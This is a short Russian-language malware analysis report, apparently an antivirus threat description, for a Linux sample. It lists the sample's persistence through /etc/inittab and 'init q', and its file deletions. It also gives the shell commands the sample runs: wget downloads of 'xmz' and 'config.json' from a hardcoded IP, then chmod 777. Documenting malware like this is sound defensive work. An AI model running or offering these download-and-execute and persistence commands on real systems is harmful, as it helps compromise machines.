Техническая информация
Для обеспечения автоматического запуска и распространения:
Создает или модифицирует следующие файлы:
- /etc/inittab
Вредоносные функции:
Управляет службами:
- init q
Запускает процессы:
- rm -rf /tmp/config.json
- rm -rf /tmp/xmz
- sh -c cd /tmp; wget http://185.222.202.68/xmz; chmod 777 /tmp/xmz
- wget http://185.222.202.68/xmz
- chmod 777 /tmp/xmz
- sh -c cd /tmp; wget http://185.222.202.68/config.json
- wget http://185.222.202.68/config.json
- init q
Выполняет операции с файловой системой:
Удаляет файлы:
- /tmp/config.json
- /tmp/xmz
Сетевая активность:
Устанавливает соединение:
- 18#.##2.202.68:80
